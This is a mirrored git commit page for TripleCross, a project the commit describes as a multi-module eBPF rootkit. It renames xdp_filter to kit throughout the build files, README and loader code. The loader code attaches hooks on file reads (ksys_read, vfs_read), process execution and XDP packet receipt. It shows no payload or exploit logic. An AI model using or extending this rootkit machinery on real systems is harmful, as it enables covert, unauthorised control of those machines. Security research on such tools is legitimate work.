admin/TripleCross
1
0
Fork 0
mirror of https://github.com/h3xduck/TripleCross.git synced 2025-12-20 00:33:07 +08:00
Code Issues Packages Projects Releases Wiki Activity

Updated file names and directory structure to the new multi-modules rootkit

Browse Source
This commit is contained in:
h3xduck
2022-01-16 06:56:54 -05:00
parent fc0d30f06f
commit 3832d99af1
14 changed files with 603 additions and 609 deletions
Download Patch File Download Diff File Expand all files Collapse all files

2
.vscode/settings.json vendored
View File

@@ -6,7 +6,7 @@
"map_common.h": "c", "map_common.h": "c",
"regex.h": "c", "regex.h": "c",
"unistd.h": "c", "unistd.h": "c",
"xdp_filter.h": "c", "kit.h": "c",
"module_manager.h": "c", "module_manager.h": "c",
"modules.h": "c", "modules.h": "c",
"libbpf.h": "c", "libbpf.h": "c",

2
README.md
View File

@@ -3,7 +3,7 @@
```bash ```bash
cd src cd src
make make
sudo ./bin/xdp_filter -t <network interface> sudo ./bin/kit -t <network interface>
``` ```
Network interface used for PoC: lo Network interface used for PoC: lo

BIN
src/.output/xdp_filter.bpf.o → src/.output/kit.bpf.o
View File

Binary file not shown.

BIN
src/.output/xdp_filter.o → src/.output/kit.o
View File

Binary file not shown.

1152
src/.output/xdp_filter.skel.h → src/.output/kit.skel.h
View File

File diff suppressed because it is too large Load Diff

2
src/Makefile
View File

@@ -21,7 +21,7 @@ INCLUDES := -I$(OUTPUT) -I./libbpf/include/uapi -I$(dir $(VMLINUX))
CFLAGS := -g -Wall CFLAGS := -g -Wall
ARCH := $(shell uname -m | sed 's/x86_64/x86/') ARCH := $(shell uname -m | sed 's/x86_64/x86/')
APPS = xdp_filter APPS = kit
# Get Clang's default includes on this system. We'll explicitly add these dirs # Get Clang's default includes on this system. We'll explicitly add these dirs
# to the includes list when compiling with `-target bpf` because otherwise some # to the includes list when compiling with `-target bpf` because otherwise some

BIN
src/bin/xdp_filter → src/bin/kit
View File

Binary file not shown.

1
src/ebpf/xdp_filter.bpf.c → src/ebpf/kit.bpf.c
View File

@@ -25,7 +25,6 @@
#include <bpf/bpf_endian.h> #include <bpf/bpf_endian.h>
//User-kernel dependencies //User-kernel dependencies
#include "../user/include/xdp_filter.h"
#include "../common/constants.h" #include "../common/constants.h"
//BPF exclusive includes //BPF exclusive includes

14
src/user/include/modules/fs.h
View File

@@ -5,24 +5,24 @@
#include <bpf/bpf.h> #include <bpf/bpf.h>
#include <bpf/libbpf.h> #include <bpf/libbpf.h>
#include "common.h" #include "common.h"
#include "xdp_filter.skel.h" #include "kit.skel.h"
//Connections //Connections
int attach_kprobe_ksys_read(struct xdp_filter_bpf *skel){ int attach_kprobe_ksys_read(struct kit_bpf *skel){
skel->links.kprobe_ksys_read = bpf_program__attach(skel->progs.kprobe_ksys_read); skel->links.kprobe_ksys_read = bpf_program__attach(skel->progs.kprobe_ksys_read);
return libbpf_get_error(skel->links.kprobe_ksys_read); return libbpf_get_error(skel->links.kprobe_ksys_read);
} }
int attach_kretprobe_vfs_read(struct xdp_filter_bpf *skel){ int attach_kretprobe_vfs_read(struct kit_bpf *skel){
skel->links.kretprobe_vfs_read = bpf_program__attach(skel->progs.kretprobe_vfs_read); skel->links.kretprobe_vfs_read = bpf_program__attach(skel->progs.kretprobe_vfs_read);
return libbpf_get_error(skel->links.kretprobe_vfs_read); return libbpf_get_error(skel->links.kretprobe_vfs_read);
} }
int attach_fs_all(struct xdp_filter_bpf *skel){ int attach_fs_all(struct kit_bpf *skel){
return attach_kprobe_ksys_read(skel) || attach_kretprobe_vfs_read(skel); return attach_kprobe_ksys_read(skel) || attach_kretprobe_vfs_read(skel);
} }
int detach_kprobe_ksys_read(struct xdp_filter_bpf *skel){ int detach_kprobe_ksys_read(struct kit_bpf *skel){
int err = detach_link_generic(skel->links.kprobe_ksys_read); int err = detach_link_generic(skel->links.kprobe_ksys_read);
if(err<0){ if(err<0){
fprintf(stderr, "Failed to detach fs link\n"); fprintf(stderr, "Failed to detach fs link\n");
@@ -30,7 +30,7 @@ int detach_kprobe_ksys_read(struct xdp_filter_bpf *skel){
} }
return 0; return 0;
} }
int detach_kretprobe_vfs_read(struct xdp_filter_bpf *skel){ int detach_kretprobe_vfs_read(struct kit_bpf *skel){
int err = detach_link_generic(skel->links.kretprobe_vfs_read); int err = detach_link_generic(skel->links.kretprobe_vfs_read);
if(err<0){ if(err<0){
fprintf(stderr, "Failed to detach fs link\n"); fprintf(stderr, "Failed to detach fs link\n");
@@ -39,7 +39,7 @@ int detach_kretprobe_vfs_read(struct xdp_filter_bpf *skel){
return 0; return 0;
} }
int detach_fs_all(struct xdp_filter_bpf *skel){ int detach_fs_all(struct kit_bpf *skel){
return detach_kprobe_ksys_read(skel) || detach_kretprobe_vfs_read(skel); return detach_kprobe_ksys_read(skel) || detach_kretprobe_vfs_read(skel);
} }

2
src/user/include/modules/module_manager.h
View File

@@ -34,7 +34,7 @@ typedef struct module_config_t{
//Configuration struct. Used by the module manager to //Configuration struct. Used by the module manager to
//correctly attach the needed modules, providing necessary params //correctly attach the needed modules, providing necessary params
typedef struct module_config_attr_t{ typedef struct module_config_attr_t{
struct xdp_filter_bpf *skel; struct kit_bpf *skel;
struct xdp_module_attr { struct xdp_module_attr {
__u32 ifindex; __u32 ifindex;
__u32 flags; __u32 flags;

10
src/user/include/modules/sched.h
View File

@@ -5,21 +5,21 @@
#include <bpf/bpf.h> #include <bpf/bpf.h>
#include <bpf/libbpf.h> #include <bpf/libbpf.h>
#include "common.h" #include "common.h"
#include "xdp_filter.skel.h" #include "kit.skel.h"
//Connections //Connections
int attach_handle_sched_process_exec(struct xdp_filter_bpf *skel){ int attach_handle_sched_process_exec(struct kit_bpf *skel){
skel->links.handle_sched_process_exec = bpf_program__attach(skel->progs.handle_sched_process_exec); skel->links.handle_sched_process_exec = bpf_program__attach(skel->progs.handle_sched_process_exec);
return libbpf_get_error(skel->links.handle_sched_process_exec); return libbpf_get_error(skel->links.handle_sched_process_exec);
} }
int attach_sched_all(struct xdp_filter_bpf *skel){ int attach_sched_all(struct kit_bpf *skel){
return attach_handle_sched_process_exec(skel); return attach_handle_sched_process_exec(skel);
} }
//Disconnections //Disconnections
int detach_handle_sched_process_exec(struct xdp_filter_bpf *skel){ int detach_handle_sched_process_exec(struct kit_bpf *skel){
int err = detach_link_generic(skel->links.handle_sched_process_exec); int err = detach_link_generic(skel->links.handle_sched_process_exec);
if(err<0){ if(err<0){
fprintf(stderr, "Failed to detach sched link\n"); fprintf(stderr, "Failed to detach sched link\n");
@@ -28,7 +28,7 @@ int detach_handle_sched_process_exec(struct xdp_filter_bpf *skel){
return 0; return 0;
} }
int detach_sched_all(struct xdp_filter_bpf *skel){ int detach_sched_all(struct kit_bpf *skel){
return detach_handle_sched_process_exec(skel); return detach_handle_sched_process_exec(skel);
} }

10
src/user/include/modules/xdp.h
View File

@@ -6,9 +6,9 @@
#include <linux/if_link.h> #include <linux/if_link.h>
#include "common.h" #include "common.h"
#include <sys/resource.h> #include <sys/resource.h>
#include "xdp_filter.skel.h" #include "kit.skel.h"
int attach_xdp_receive(struct xdp_filter_bpf *skel, __u32 ifindex, __u32 flags){ int attach_xdp_receive(struct kit_bpf *skel, __u32 ifindex, __u32 flags){
//Attach BPF program to network interface //Attach BPF program to network interface
//New way of doing it: it allows for future addition of multiple //New way of doing it: it allows for future addition of multiple
//XDP programs attached to same interface if needed //XDP programs attached to same interface if needed
@@ -54,12 +54,12 @@ int attach_xdp_receive(struct xdp_filter_bpf *skel, __u32 ifindex, __u32 flags){
return 0; return 0;
} }
int attach_xdp_all(struct xdp_filter_bpf *skel, __u32 ifindex, __u32 flags){ int attach_xdp_all(struct kit_bpf *skel, __u32 ifindex, __u32 flags){
return attach_xdp_receive(skel, ifindex, flags); return attach_xdp_receive(skel, ifindex, flags);
} }
int detach_xdp_receive(struct xdp_filter_bpf *skel){ int detach_xdp_receive(struct kit_bpf *skel){
int err = detach_link_generic(skel->links.xdp_receive); int err = detach_link_generic(skel->links.xdp_receive);
if(err<0){ if(err<0){
fprintf(stderr, "Failed to detach XDP program\n"); fprintf(stderr, "Failed to detach XDP program\n");
@@ -68,7 +68,7 @@ int detach_xdp_receive(struct xdp_filter_bpf *skel){
return 0; return 0;
} }
int detach_xdp_all(struct xdp_filter_bpf *skel){ int detach_xdp_all(struct kit_bpf *skel){
return detach_xdp_receive(skel); return detach_xdp_receive(skel);
} }

4
src/user/include/xdp_filter.h
View File

@@ -1,4 +0,0 @@
#ifndef __XDP_FILTER_H
#define __XDP_FILTER_H
#endif

13
src/user/xdp_filter.c → src/user/kit.c
View File

@@ -10,9 +10,8 @@
#include <bpf/bpf.h> #include <bpf/bpf.h>
#include "xdp_filter.skel.h" #include "kit.skel.h"
#include "include/xdp_filter.h"
#include "../common/constants.h" #include "../common/constants.h"
#include "../common/map_common.h" #include "../common/map_common.h"
#include "include/utils/files/path.h" #include "include/utils/files/path.h"
@@ -33,7 +32,7 @@ static struct env {
void print_help_dialog(const char* arg){ void print_help_dialog(const char* arg){
printf("\nUsage: %s ./xdp_filter OPTION\n\n", arg); printf("\nUsage: %s ./kit OPTION\n\n", arg);
printf("Program OPTIONs\n"); printf("Program OPTIONs\n");
char* line = "-t[NETWORK INTERFACE]"; char* line = "-t[NETWORK INTERFACE]";
char* desc = "Activate XDP filter"; char* desc = "Activate XDP filter";
@@ -116,7 +115,7 @@ static int handle_rb_event(void *ctx, void *data, size_t data_size){
int main(int argc, char**argv){ int main(int argc, char**argv){
struct ring_buffer *rb = NULL; struct ring_buffer *rb = NULL;
struct xdp_filter_bpf *skel; struct kit_bpf *skel;
__u32 err; __u32 err;
//Ready to be used //Ready to be used
@@ -176,14 +175,14 @@ int main(int argc, char**argv){
signal(SIGTERM, sig_handler); signal(SIGTERM, sig_handler);
//Open and create BPF application in the kernel //Open and create BPF application in the kernel
skel = xdp_filter_bpf__open(); skel = kit_bpf__open();
if (!skel) { if (!skel) {
fprintf(stderr, "Failed to open and load BPF skeleton\n"); fprintf(stderr, "Failed to open and load BPF skeleton\n");
return 1; return 1;
} }
//Load & verify BPF program //Load & verify BPF program
err = xdp_filter_bpf__load(skel); err = kit_bpf__load(skel);
if (err) { if (err) {
fprintf(stderr, "Failed to load and verify BPF skeleton\n"); fprintf(stderr, "Failed to load and verify BPF skeleton\n");
goto cleanup; goto cleanup;
@@ -240,7 +239,7 @@ int main(int argc, char**argv){
cleanup: cleanup:
ring_buffer__free(rb); ring_buffer__free(rb);
//xdp_filter_bpf__destroy(skel); //kit_bpf__destroy(skel);
if(err!=0) return -1; if(err!=0) return -1;
return 0; return 0;